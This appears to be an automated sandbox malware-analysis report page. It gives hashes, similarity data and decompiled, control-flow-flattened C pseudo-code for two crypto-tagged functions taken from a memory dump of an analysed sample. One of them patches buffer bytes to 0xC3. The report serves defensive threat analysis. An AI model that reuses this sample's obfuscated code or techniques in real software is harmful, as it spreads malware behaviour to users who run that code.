Instruction ID: ba56fcee08fa3ec30e5c175b2d4cfef2f4eb5200149ed3e7cd193d64c1775d29
Opcode Fuzzy Hash: a933e09606d7311994278810ccd79a35e3e8345eafcb9e9ba506480375c49da3
Instruction Fuzzy Hash: 44E1F6B1A08741EFD704CFA8C49076AB7E1AF86354F148A6DD8DA8B3D1E734E846C752

Uniqueness

Uniqueness Score: -1.00%

Function 00FB970A, Relevance: 10.4, Strings: 8, Instructions: 412
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FB970A(void* __ecx, void* __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				void* _t402;
				signed int _t469;
				signed int _t477;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				void* _t493;
				signed int* _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				void* _t553;
				void* _t554;
				void* _t557;

				_push(_a12);
				_t548 = _a4;
				_t549 = __edx;
				_push(_a8);
				_push(_t548);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t402);
				_v44 = _v44 & 0x00000000;
				_t554 = _t553 + 0x14;
				_v52 = 0x5f7282;
				_v48 = 0x89717d;
				_t493 = 0x98552f7;
				_v176 = 0x4ae891;
				_v176 = _v176 + 0xffff480f;
				_t477 = 0x5f;
				_v176 = _v176 * 0x1e;
				_v176 = _v176 + 0xef6c;
				_v176 = _v176 ^ 0x08b2a22c;
				_v96 = 0x9b836e;
				_v96 = _v96 * 0x42;
				_v96 = _v96 << 0xb;
				_v96 = _v96 ^ 0xbf171f1c;
				_v188 = 0x39f5fb;
				_v188 = _v188 | 0xb5d3fd22;
				_v188 = _v188 * 7;
				_v188 = _v188 / _t477;
				_v188 = _v188 ^ 0x02a82dbf;
				_v164 = 0xc4d427;
				_t478 = 0x19;
				_v164 = _v164 * 0x1a;
				_v164 = _v164 >> 0xf;
				_v164 = _v164 << 5;
				_v164 = _v164 ^ 0x000e3016;
				_v120 = 0x779f59;
				_v120 = _v120 / _t478;
				_t479 = 0x32;
				_v120 = _v120 / _t479;
				_v120 = _v120 ^ 0x00036599;
				_v128 = 0x7d8a0a;
				_v128 = _v128 | 0xae961094;
				_t480 = 0x6a;
				_v128 = _v128 * 0x66;
				_v128 = _v128 ^ 0xb9d94b58;
				_v56 = 0x401a4b;
				_v56 = _v56 * 0x63;
				_v56 = _v56 ^ 0x18c76e15;
				_v112 = 0xa51ead;
				_v112 = _v112 << 9;
				_v112 = _v112 << 4;
				_v112 = _v112 ^ 0xa3d6d40b;
				_v104 = 0x7aa304;
				_v104 = _v104 + 0x6bca;
				_v104 = _v104 / _t480;
				_v104 = _v104 ^ 0x000b8ef7;
				_v132 = 0x1148b5;
				_v132 = _v132 ^ 0xf20311a1;
				_v132 = _v132 | 0x9815079a;
				_v132 = _v132 ^ 0xfa15838b;
				_v88 = 0xf2e7cb;
				_t550 = 0x2b;
				_v88 = _v88 / _t550;
				_v88 = _v88 ^ 0x00094260;
				_v148 = 0x1a540c;
				_t481 = 0x55;
				_v148 = _v148 * 0x6f;
				_v148 = _v148 / _t481;
				_v148 = _v148 / _t550;
				_v148 = _v148 ^ 0x000ba5a7;
				_v160 = 0x50bc7c;
				_v160 = _v160 >> 5;
				_v160 = _v160 << 0xc;
				_v160 = _v160 << 0xc;
				_v160 = _v160 ^ 0xe30c8c54;
				_v72 = 0xb4813e;
				_v72 = _v72 + 0xeb4b;
				_v72 = _v72 ^ 0x00bd2f3e;
				_v80 = 0x45ed5f;
				_v80 = _v80 ^ 0xed608d07;
				_v80 = _v80 ^ 0xed2512e7;
				_v168 = 0xeb9f3b;
				_v168 = _v168 >> 5;
				_v168 = _v168 + 0x6d96;
				_v168 = _v168 >> 6;
				_v168 = _v168 ^ 0x00009dae;
				_v68 = 0x5b4c56;
				_v68 = _v68 | 0x228a85d9;
				_v68 = _v68 ^ 0x22d2440e;
				_v60 = 0x613d83;
				_v60 = _v60 | 0xa9532b63;
				_v60 = _v60 ^ 0xa972f1ce;
				_v140 = 0x376939;
				_t163 =  &_v140; // 0x376939
				_t482 = 0x5d;
				_v140 =  *_t163 / _t482;
				_v140 = _v140 >> 0xa;
				_v140 = _v140 + 0xffff8bdd;
				_v140 = _v140 ^ 0xfff86fc1;
				_v124 = 0x51f196;
				_v124 = _v124 + 0xffff9aeb;
				_t483 = 0x54;
				_v124 = _v124 / _t483;
				_v124 = _v124 ^ 0x000f7505;
				_v172 = 0x3012f5;
				_v172 = _v172 + 0x4134;
				_t551 = 0x31;
				_v172 = _v172 / _t551;
				_v172 = _v172 ^ 0x569dceb8;
				_v172 = _v172 ^ 0x56964419;
				_v76 = 0x97b467;
				_v76 = _v76 * 0x77;
				_v76 = _v76 ^ 0x468ec6d6;
				_v156 = 0x479670;
				_t484 = 0x1a;
				_v156 = _v156 / _t484;
				_v156 = _v156 << 2;
				_v156 = _v156 + 0xd9ad;
				_v156 = _v156 ^ 0x000d599b;
				_v180 = 0xbae7b9;
				_v180 = _v180 + 0xffffa92a;
				_v180 = _v180 + 0x4383;
				_v180 = _v180 + 0xffffeefb;
				_v180 = _v180 ^ 0x00b5d3cb;
				_v192 = 0x9a0431;
				_v192 = _v192 >> 8;
				_v192 = _v192 ^ 0x0f90ecbf;
				_v192 = _v192 + 0xffff1b33;
				_v192 = _v192 ^ 0x0f80084f;
				_v108 = 0x55fe36;
				_t485 = 0x74;
				_v108 = _v108 / _t485;
				_v108 = _v108 / _t551;
				_v108 = _v108 ^ 0x00038223;
				_v196 = 0xda517d;
				_v196 = _v196 + 0xffff96ec;
				_v196 = _v196 + 0xffffe8d5;
				_t486 = 0x44;
				_v196 = _v196 / _t486;
				_v196 = _v196 ^ 0x00010b42;
				_v116 = 0x376585;
				_t487 = 0x12;
				_v116 = _v116 / _t487;
				_v116 = _v116 + 0xffff0b99;
				_v116 = _v116 ^ 0x000eba6f;
				_v184 = 0xb4770e;
				_v184 = _v184 >> 9;
				_v184 = _v184 << 5;
				_t488 = 0x68;
				_v184 = _v184 / _t488;
				_v184 = _v184 ^ 0x000b25b3;
				_v92 = 0xc756a0;
				_v92 = _v92 + 0xffff476a;
				_v92 = _v92 * 0x11;
				_v92 = _v92 ^ 0x0d3f43a1;
				_v100 = 0xc46332;
				_v100 = _v100 | 0x1d93fa0a;
				_v100 = _v100 ^ 0x06f17946;
				_v100 = _v100 ^ 0x1b22c1d7;
				_v84 = 0xf98049;
				_v84 = _v84 | 0x1c19946c;
				_v84 = _v84 ^ 0x1cf939e5;
				_v64 = 0xaf1718;
				_v64 = _v64 * 0x64;
				_v64 = _v64 ^ 0x4461e439;
				_v136 = 0xde22af;
				_v136 = _v136 << 5;
				_v136 = _v136 | 0xbf66eb0e;
				_v136 = _v136 >> 0xd;
				_v136 = _v136 ^ 0x0004fef1;
				_v144 = 0xeb6203;
				_v144 = _v144 >> 8;
				_t489 = 0x4c;
				_v144 = _v144 / _t489;
				_v144 = _v144 >> 0xc;
				_v144 = _v144 ^ 0x000159a9;
				_v152 = 0x58cc79;
				_v152 = _v152 + 0x7b67;
				_v152 = _v152 >> 6;
				_t490 = 0x3e;
				_v152 = _v152 / _t490;
				_v152 = _v152 ^ 0x0007a5ba;
				goto L1;
				do {
					while(1) {
						L1:
						_t557 = _t493 - 0x7461a24;
						if(_t557 > 0) {
							break;
						}
						if(_t557 == 0) {
							E00FC2A88(_v68, _v60, _v140, _v124,  *((intOrPtr*)(_t549 + 0x14)),  &_v40);
							_t554 = _t554 + 0x10;
							_t493 = 0x2469622;
							continue;
						} else {
							if(_t493 == 0x2469622) {
								E00FC2A88(_v172, _v76, _v156, _v180,  *((intOrPtr*)(_t549 + 4)),  &_v40);
								_t554 = _t554 + 0x10;
								_t493 = 0xaef6787;
								continue;
							} else {
								if(_t493 == 0x38da483) {
									E00FBDF47(_v128, _t548, _v56,  &_v40, _v112);
									_t554 = _t554 + 0xc;
									_t493 = 0x4cad5c1;
									continue;
								} else {
									if(_t493 == 0x4cad5c1) {
										E00FACE5A(_v104, _v132, __eflags, _v88, _v148, _t549 + 8,  &_v40);
										_t554 = _t554 + 0x10;
										_t493 = 0x92a4a1b;
										continue;
									} else {
										if(_t493 == 0x5df819a) {
											_push(_t493);
											_push(_t493);
											_t469 = E00FB5212(_t548[1]);
											_t554 = _t554 + 0xc;
											 *_t548 = _t469;
											__eflags = _t469;
											if(__eflags != 0) {
												_t493 = 0x38da483;
												continue;
											}
										} else {
											_t562 = _t493 - 0x628664a;
											if(_t493 != 0x628664a) {
												goto L26;
											} else {
												E00FACE5A(_v64, _v136, _t562, _v144, _v152, _t549 + 0x20,  &_v40);
											}
										}
									}
								}
							}
						}
						L9:
						return 0 |  *_t548 != 0x00000000;
					}
					__eflags = _t493 - 0x92a4a1b;
					if(_t493 == 0x92a4a1b) {
						E00FC2A88(_v160, _v72, _v80, _v168,  *((intOrPtr*)(_t549 + 0x1c)),  &_v40);
						_t554 = _t554 + 0x10;
						_t493 = 0x7461a24;
						goto L26;
					} else {
						__eflags = _t493 - 0x98552f7;
						if(__eflags == 0) {
							_t493 = 0x9a15b9c;
							 *_t548 =  *_t548 & 0x00000000;
							_t548[1] = _v176;
							goto L1;
						} else {
							__eflags = _t493 - 0x9a15b9c;
							if(_t493 == 0x9a15b9c) {
								_t548[1] = E00FA46FA(_t549);
								_t493 = 0x5df819a;
								goto L1;
							} else {
								__eflags = _t493 - 0x9e9b60d;
								if(_t493 == 0x9e9b60d) {
									E00FC2A88(_v184, _v92, _v100, _v84,  *((intOrPtr*)(_t549 + 0x28)),  &_v40);
									_t554 = _t554 + 0x10;
									_t493 = 0x628664a;
									goto L1;
								} else {
									__eflags = _t493 - 0xaef6787;
									if(_t493 != 0xaef6787) {
										goto L26;
									} else {
										E00FC2A88(_v192, _v108, _v196, _v116,  *((intOrPtr*)(_t549 + 0x10)),  &_v40);
										_t554 = _t554 + 0x10;
										_t493 = 0x9e9b60d;
										goto L1;
									}
								}
							}
						}
					}
					goto L9;
					L26:
					__eflags = _t493 - 0x5c1c891;
				} while (__eflags != 0);
				goto L9;
			}

0x00fb9714
0x00fb971b
0x00fb9722
0x00fb9724
0x00fb972b
0x00fb972c
0x00fb972d
0x00fb972e
0x00fb9733
0x00fb973b
0x00fb973e
0x00fb974b
0x00fb9756
0x00fb975b
0x00fb9763
0x00fb9772
0x00fb9775
0x00fb9779
0x00fb9781
0x00fb9789
0x00fb9796
0x00fb979a
0x00fb979f
0x00fb97a7
0x00fb97af
0x00fb97bc
0x00fb97c8
0x00fb97cc
0x00fb97d4
0x00fb97e1
0x00fb97e4
0x00fb97e8
0x00fb97ed
0x00fb97f2
0x00fb97fa
0x00fb980a
0x00fb9812
0x00fb9817
0x00fb981d
0x00fb9825
0x00fb982d
0x00fb983a
0x00fb983b
0x00fb983f
0x00fb9847
0x00fb985a
0x00fb9861
0x00fb986c
0x00fb9874
0x00fb9879
0x00fb987e
0x00fb9886
0x00fb988e
0x00fb989c
0x00fb98a0
0x00fb98a8
0x00fb98b2
0x00fb98ba
0x00fb98c2
0x00fb98ca
0x00fb98de
0x00fb98e3
0x00fb98ea
0x00fb98f5
0x00fb9904
0x00fb9907
0x00fb9913
0x00fb991f
0x00fb9923
0x00fb992b
0x00fb9933
0x00fb9938
0x00fb993d
0x00fb9942
0x00fb994a
0x00fb9955
0x00fb9960
0x00fb996b
0x00fb9976
0x00fb9981
0x00fb998c
0x00fb9994
0x00fb9999
0x00fb99a1
0x00fb99a6
0x00fb99ae
0x00fb99b9
0x00fb99c4
0x00fb99cf
0x00fb99da
0x00fb99e5
0x00fb99f0
0x00fb99f8
0x00fb99fc
0x00fb9a01
0x00fb9a07
0x00fb9a0c
0x00fb9a14
0x00fb9a1c
0x00fb9a24
0x00fb9a30
0x00fb9a35
0x00fb9a3b
0x00fb9a43
0x00fb9a4b
0x00fb9a57
0x00fb9a5a
0x00fb9a5e
0x00fb9a66
0x00fb9a6e
0x00fb9a81
0x00fb9a88
0x00fb9a93
0x00fb9aa3
0x00fb9aa8
0x00fb9aac
0x00fb9ab1
0x00fb9ab9
0x00fb9ac1
0x00fb9ac9
0x00fb9ad1
0x00fb9ad9
0x00fb9ae1
0x00fb9ae9
0x00fb9af1
0x00fb9af6
0x00fb9afe
0x00fb9b06
0x00fb9b0e
0x00fb9b1c
0x00fb9b21
0x00fb9b2d
0x00fb9b33
0x00fb9b3b
0x00fb9b43
0x00fb9b4b
0x00fb9b57
0x00fb9b5c
0x00fb9b62
0x00fb9b6a
0x00fb9b76
0x00fb9b7b
0x00fb9b81
0x00fb9b89
0x00fb9b91
0x00fb9b99
0x00fb9b9e
0x00fb9ba7
0x00fb9baa
0x00fb9bae
0x00fb9bb6
0x00fb9bbe
0x00fb9bcb
0x00fb9bcf
0x00fb9bd7
0x00fb9bdf
0x00fb9be7
0x00fb9bef
0x00fb9bf7
0x00fb9c02
0x00fb9c0d
0x00fb9c18
0x00fb9c2b
0x00fb9c32
0x00fb9c3d
0x00fb9c45
0x00fb9c4a
0x00fb9c52
0x00fb9c57
0x00fb9c61
0x00fb9c6e
0x00fb9c79
0x00fb9c7e
0x00fb9c84
0x00fb9c89
0x00fb9c91
0x00fb9c99
0x00fb9ca1
0x00fb9caa
0x00fb9cb2
0x00fb9cb6
0x00fb9cb6
0x00fb9cbe
0x00fb9cbe
0x00fb9cbe
0x00fb9cbe
0x00fb9cc0
0x00000000
0x00000000
0x00fb9cc6
0x00fb9e0f
0x00fb9e14
0x00fb9e17
0x00000000
0x00fb9ccc
0x00fb9cd2
0x00fb9ddc
0x00fb9de1
0x00fb9de4
0x00000000
0x00fb9cd8
0x00fb9cda
0x00fb9dac
0x00fb9db1
0x00fb9db4
0x00000000
0x00fb9ce0
0x00fb9ce6
0x00fb9d81
0x00fb9d86
0x00fb9d89
0x00000000
0x00fb9ce8
0x00fb9cee
0x00fb9d45
0x00fb9d46
0x00fb9d4a
0x00fb9d4f
0x00fb9d52
0x00fb9d54
0x00fb9d56
0x00fb9d58
0x00000000
0x00fb9d58
0x00fb9cf0
0x00fb9cf0
0x00fb9cf6
0x00000000
0x00fb9cfc
0x00fb9d1b
0x00fb9d20
0x00fb9cf6
0x00fb9cee
0x00fb9ce6
0x00fb9cda
0x00fb9cd2
0x00fb9d23
0x00fb9d34
0x00fb9d34
0x00fb9e21
0x00fb9e27
0x00fb9f01
0x00fb9f06
0x00fb9f09
0x00000000
0x00fb9e2d
0x00fb9e2d
0x00fb9e33
0x00fb9ed0
0x00fb9ed5
0x00fb9ed8
0x00000000
0x00fb9e39
0x00fb9e39
0x00fb9e3f
0x00fb9ebf
0x00fb9ec2
0x00000000
0x00fb9e41
0x00fb9e41
0x00fb9e47
0x00fb9ea6
0x00fb9eab
0x00fb9eae
0x00000000
0x00fb9e49
0x00fb9e49
0x00fb9e4f
0x00000000
0x00fb9e55
0x00fb9e70
0x00fb9e75
0x00fb9e78
0x00000000
0x00fb9e78
0x00fb9e4f
0x00fb9e47
0x00fb9e3f
0x00fb9e33
0x00000000
0x00fb9f0b
0x00fb9f0b
0x00fb9f0b
0x00000000

Strings

9i7, xrefs: 00FB99F8
K, xrefs: 00FB9955
g{, xrefs: 00FB9C99
l, xrefs: 00FB9779
_E, xrefs: 00FB996B
4A, xrefs: 00FB9A4B
9aD, xrefs: 00FB9C32
`B, xrefs: 00FB98EA

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4A$9i7$9aD$K$_E$`B$g{$l
API String ID: 0-2935683833
Opcode ID: 389e72c3852df6f769d68ef1459b818342f1c290c6ce2fc85ac6829f5ed07867
Instruction ID: dcc4bc94874988469370d3ac60de65016c67242c818dac50ce8995a7ee7b42ab
Opcode Fuzzy Hash: 389e72c3852df6f769d68ef1459b818342f1c290c6ce2fc85ac6829f5ed07867
Instruction Fuzzy Hash: AF1203B1508384DFD368CF26C489A5BFBE2FBD4708F50891DE29A86260D7B59948DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FA84F0, Relevance: 10.4, Strings: 8, Instructions: 374
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00FA84F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v36;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				char _v84;
				intOrPtr _v88;
				char _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				unsigned int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				void* _t344;
				void* _t382;
				void* _t390;
				intOrPtr _t396;
				void* _t398;
				signed int _t400;
				intOrPtr* _t402;
				void* _t404;
				signed char* _t417;
				signed char* _t444;
				intOrPtr* _t448;
				intOrPtr _t449;
				intOrPtr _t450;
				void* _t451;
				signed char* _t452;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				void* _t461;
				void* _t462;
				void* _t464;

				_t402 = _a16;
				_t449 = _a4;
				_t448 = _a8;
				_push(_t402);
				_push(_a12);
				_push(_t448);
				_push(_t449);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t344);
				_v124 = 0xfb92e3;
				_t462 = _t461 + 0x18;
				_v124 = _v124 << 0xb;
				_v124 = _v124 ^ 0xdc971800;
				_t404 = 0xc335b1;
				_v136 = 0xc6cd3f;
				_v136 = _v136 + 0xffff881d;
				_v136 = _v136 ^ 0x00c6551c;
				_v220 = 0x39b606;
				_t453 = 0x60;
				_v96 = _v96 & 0x00000000;
				_v220 = _v220 * 0x27;
				_v220 = _v220 + 0xf4c5;
				_v220 = _v220 / _t453;
				_v220 = _v220 ^ 0x0017743f;
				_v140 = 0xe66565;
				_t31 =  &_v140; // 0xe66565
				_t454 = 7;
				_v140 =  *_t31 / _t454;
				_v140 = _v140 ^ 0x002d4afb;
				_v188 = 0x1644e4;
				_v188 = _v188 | 0x24adbee9;
				_v188 = _v188 + 0x42a7;
				_v188 = _v188 ^ 0x24c1907e;
				_v168 = 0x5bbfd5;
				_v168 = _v168 ^ 0xaf73a613;
				_v168 = _v168 * 0x43;
				_v168 = _v168 ^ 0xd77759df;
				_v132 = 0x7bc3bb;
				_v132 = _v132 + 0xfffff6ab;
				_v132 = _v132 ^ 0x00710d61;
				_v208 = 0xe6ee0d;
				_v208 = _v208 | 0x92091f4c;
				_v208 = _v208 >> 3;
				_v208 = _v208 * 0x61;
				_v208 = _v208 ^ 0xf59aa747;
				_v216 = 0x653a45;
				_v216 = _v216 * 0x3f;
				_v216 = _v216 + 0xffff4e97;
				_v216 = _v216 ^ 0x96b1be51;
				_v216 = _v216 ^ 0x8e5450e8;
				_v100 = 0xfd7786;
				_v100 = _v100 + 0xdb9a;
				_v100 = _v100 ^ 0x00fa5afe;
				_v116 = 0x47cdb0;
				_v116 = _v116 | 0x311992f4;
				_v116 = _v116 ^ 0x315f71c9;
				_v184 = 0xfc1676;
				_v184 = _v184 >> 4;
				_v184 = _v184 + 0xf942;
				_v184 = _v184 ^ 0x001256f7;
				_v192 = 0x4a7e97;
				_v192 = _v192 << 0xc;
				_v192 = _v192 + 0xffff97c8;
				_v192 = _v192 ^ 0xa7e5590e;
				_v108 = 0xa591e;
				_v108 = _v108 >> 0xd;
				_v108 = _v108 ^ 0x000f257c;
				_v176 = 0x7de015;
				_v176 = _v176 >> 3;
				_v176 = _v176 | 0x30b98b85;
				_v176 = _v176 ^ 0x30b5f870;
				_v144 = 0x9a82cf;
				_t455 = 0x2e;
				_v144 = _v144 * 0x54;
				_v144 = _v144 ^ 0x32beedd6;
				_v228 = 0x15eedb;
				_v228 = _v228 ^ 0x74b4188e;
				_v228 = _v228 + 0xffff6700;
				_v228 = _v228 + 0xcf4c;
				_v228 = _v228 ^ 0x74a119fc;
				_v156 = 0xd6eb4f;
				_v156 = _v156 ^ 0x50ac1b1c;
				_v156 = _v156 + 0xeec5;
				_v156 = _v156 ^ 0x5070863b;
				_v204 = 0x553780;
				_v204 = _v204 >> 1;
				_v204 = _v204 ^ 0x20338dbe;
				_v204 = _v204 >> 0xb;
				_v204 = _v204 ^ 0x0007c317;
				_v236 = 0xfd5340;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0x416403b2;
				_v236 = _v236 * 0x67;
				_v236 = _v236 ^ 0x7c86c217;
				_v104 = 0x6a259;
				_v104 = _v104 * 0x24;
				_v104 = _v104 ^ 0x00ee0ac9;
				_v180 = 0x123564;
				_v180 = _v180 ^ 0x56196b0a;
				_v180 = _v180 >> 0xd;
				_v180 = _v180 ^ 0x000ca7a4;
				_v212 = 0xa6e89f;
				_v212 = _v212 << 3;
				_v212 = _v212 / _t455;
				_t456 = 0x43;
				_v212 = _v212 / _t456;
				_v212 = _v212 ^ 0x000fc1f5;
				_v148 = 0x6d0114;
				_v148 = _v148 | 0xf3e4699c;
				_v148 = _v148 ^ 0xf3ea1085;
				_v164 = 0x815c43;
				_v164 = _v164 >> 6;
				_v164 = _v164 ^ 0x421e5d43;
				_v164 = _v164 ^ 0x421d78e1;
				_v240 = 0xa2d65;
				_v240 = _v240 + 0xffff976c;
				_v240 = _v240 << 5;
				_v240 = _v240 << 5;
				_v240 = _v240 ^ 0x27113ac0;
				_v112 = 0x21947b;
				_t457 = 0x17;
				_v112 = _v112 / _t457;
				_v112 = _v112 ^ 0x000bf513;
				_v232 = 0xec1696;
				_v232 = _v232 + 0x18fb;
				_v232 = _v232 + 0xffff093e;
				_v232 = _v232 + 0xffff866b;
				_v232 = _v232 ^ 0x00e84135;
				_v172 = 0xd2924a;
				_v172 = _v172 + 0xffffa471;
				_v172 = _v172 * 0x67;
				_v172 = _v172 ^ 0x549231c4;
				_v224 = 0x486647;
				_v224 = _v224 >> 0xd;
				_v224 = _v224 | 0x5ff7df7d;
				_v224 = _v224 ^ 0x5fff12d6;
				_v152 = 0x7ee2b;
				_v152 = _v152 >> 9;
				_t458 = 0x3e;
				_v152 = _v152 / _t458;
				_v152 = _v152 ^ 0x0005a8cb;
				_v160 = 0x6a47dd;
				_t459 = 0x27;
				_v160 = _v160 * 0x36;
				_v160 = _v160 ^ 0xb21a04da;
				_v160 = _v160 ^ 0xa47e70e8;
				_v120 = 0xaabd8a;
				_v120 = _v120 + 0x4379;
				_v120 = _v120 ^ 0x00a453b8;
				_v128 = 0x317d8e;
				_v128 = _v128 * 0x1b;
				_v128 = _v128 ^ 0x0534d6ac;
				_v196 = 0xe1b0a4;
				_v196 = _v196 + 0xffffc8f3;
				_t460 = _v96;
				_v196 = _v196 / _t459;
				_v196 = _v196 ^ 0x0005c81a;
				_v200 = 0x9d0a1;
				_v200 = _v200 >> 0xb;
				_v200 = _v200 * 0x46;
				_v200 = _v200 >> 0xe;
				_v200 = _v200 ^ 0x00000081;
				goto L1;
				do {
					while(1) {
						L1:
						_t464 = _t404 - 0x6a00919;
						if(_t464 > 0) {
							break;
						}
						if(_t464 == 0) {
							_t450 =  *_t402;
							E00FA316A(_v104, _v180, _v212, _t450);
							_t451 = _t450 + _v220;
							E00FC2C81(_v148, _v92, _v164, _t451, _v240, _v88);
							_push(_v232);
							_t452 = _t451 + _v88;
							_push(_t460);
							E00FBB0E0(_t452, _v112);
							_t444 =  &(_t452[_t460]);
							_t462 = _t462 + 0x20;
							_t417 = _t452;
							if(_t452 >= _t444) {
								L17:
								_push(_t417);
								_t390 = E00FA2C02(0, 0xe);
								_t404 = 0xaf54993;
								 *((char*)(_t390 + _t452)) = 0;
								_t449 = _a4;
								continue;
							} else {
								goto L14;
							}
							do {
								L14:
								if(( *_t417 & 0x000000ff) == _v124) {
									 *_t417 = 0xc3;
								}
								_t417 =  &(_t417[1]);
							} while (_t417 < _t444);
							goto L17;
						}
						if(_t404 == 0x81e256) {
							E00FAAE43(_v84, _v120, _v128);
							L30:
							return _v96;
						}
						if(_t404 == 0xc335b1) {
							_t404 = 0x3801220;
							continue;
						}
						if(_t404 == 0x13c9130) {
							_push(_t404);
							_push(_t404);
							_t396 = E00FB5212( *((intOrPtr*)(_t402 + 4)));
							_t462 = _t462 + 0xc;
							 *_t402 = _t396;
							if(_t396 == 0) {
								_t404 = 0xaf54993;
							} else {
								_v96 = 1;
								_t404 = 0x6a00919;
							}
							continue;
						}
						if(_t404 != 0x3801220) {
							goto L27;
						}
						_t398 = E00FBA29B(_v140,  *_t448,  &_v36, _v188, _v168, _v132,  *((intOrPtr*)(_t448 + 4)));
						_t462 = _t462 + 0x18;
						if(_t398 == 0) {
							goto L30;
						}
						_t404 = 0xfc30d66;
					}
					if(_t404 == 0xaf54993) {
						E00FAAE43(_v92, _v152, _v160);
						_t404 = 0x81e256;
						goto L27;
					}
					if(_t404 == 0xbc74ee4) {
						_push(_t404);
						_t460 = E00FA2C02(_v196, _v200);
						_t404 = 0x13c9130;
						 *((intOrPtr*)(_t402 + 4)) = _v136 + _v88 + _t460;
						goto L1;
					}
					if(_t404 == 0xfc30d66) {
						_v72 = _t449;
						_v52 =  &_v36;
						_v68 =  *_t448;
						_v64 =  *((intOrPtr*)(_t448 + 4));
						_v48 = 0x20;
						_t382 = E00FA6453(_v208,  &_v84,  &_v76, _v216, _v100, _v116);
						_t462 = _t462 + 0x10;
						if(_t382 == 0) {
							goto L30;
						}
						_t404 = 0xfda96aa;
						goto L1;
					}
					if(_t404 != 0xfda96aa) {
						goto L27;
					}
					_t400 = E00FA544C(_v184,  &_v84, _v192, _v108,  &_v92);
					_t462 = _t462 + 0xc;
					asm("sbb ecx, ecx");
					_t404 = ( ~_t400 & 0x0b456c8e) + 0x81e256;
					goto L1;
					L27:
				} while (_t404 != 0x4ce11cf);
				goto L30;
			}

0x00fa84f7
0x00fa8500
0x00fa8508
0x00fa850f
0x00fa8510
0x00fa8517
0x00fa8518
0x00fa8519
0x00fa851a
0x00fa851b
0x00fa8520
0x00fa852b
0x00fa852e
0x00fa8538
0x00fa8543
0x00fa8548
0x00fa8550
0x00fa8558
0x00fa8560
0x00fa856f
0x00fa8572
0x00fa857a
0x00fa857e
0x00fa858e
0x00fa8592
0x00fa859a
0x00fa85a2
0x00fa85a6
0x00fa85a9
0x00fa85ad
0x00fa85b5
0x00fa85bd
0x00fa85c5
0x00fa85cd
0x00fa85d5
0x00fa85dd
0x00fa85ea
0x00fa85ee
0x00fa85f6
0x00fa8601
0x00fa860c
0x00fa8617
0x00fa861f
0x00fa8627
0x00fa8631
0x00fa8635
0x00fa863d
0x00fa864a
0x00fa864e
0x00fa8656
0x00fa865e
0x00fa8666
0x00fa8671
0x00fa867c
0x00fa8687
0x00fa8692
0x00fa869d
0x00fa86a8
0x00fa86b0
0x00fa86b5
0x00fa86bd
0x00fa86c5
0x00fa86cd
0x00fa86d2
0x00fa86da
0x00fa86e2
0x00fa86ed
0x00fa86f7
0x00fa8702
0x00fa870a
0x00fa870f
0x00fa8717
0x00fa871f
0x00fa872e
0x00fa8731
0x00fa8735
0x00fa873d
0x00fa8745
0x00fa874d
0x00fa8755
0x00fa875d
0x00fa8765
0x00fa876d
0x00fa8775
0x00fa877d
0x00fa8785
0x00fa878d
0x00fa8791
0x00fa8799
0x00fa879e
0x00fa87a6
0x00fa87ae
0x00fa87b3
0x00fa87c0
0x00fa87c4
0x00fa87cc
0x00fa87df
0x00fa87e6
0x00fa87f1
0x00fa87f9
0x00fa8801
0x00fa8806
0x00fa880e
0x00fa8816
0x00fa8823
0x00fa882b
0x00fa8830
0x00fa8836
0x00fa883e
0x00fa8846
0x00fa884e
0x00fa8856
0x00fa885e
0x00fa8863
0x00fa886b
0x00fa8873
0x00fa887b
0x00fa8883
0x00fa8888
0x00fa888d
0x00fa8895
0x00fa88a7
0x00fa88aa
0x00fa88b1
0x00fa88bc
0x00fa88c4
0x00fa88cc
0x00fa88d4
0x00fa88dc
0x00fa88e4
0x00fa88ec
0x00fa88f9
0x00fa88ff
0x00fa8907
0x00fa890f
0x00fa8914
0x00fa891c
0x00fa8924
0x00fa892c
0x00fa8937
0x00fa893c
0x00fa8942
0x00fa894a
0x00fa8957
0x00fa8958
0x00fa895c
0x00fa8964
0x00fa896c
0x00fa8977
0x00fa8982
0x00fa898d
0x00fa89a0
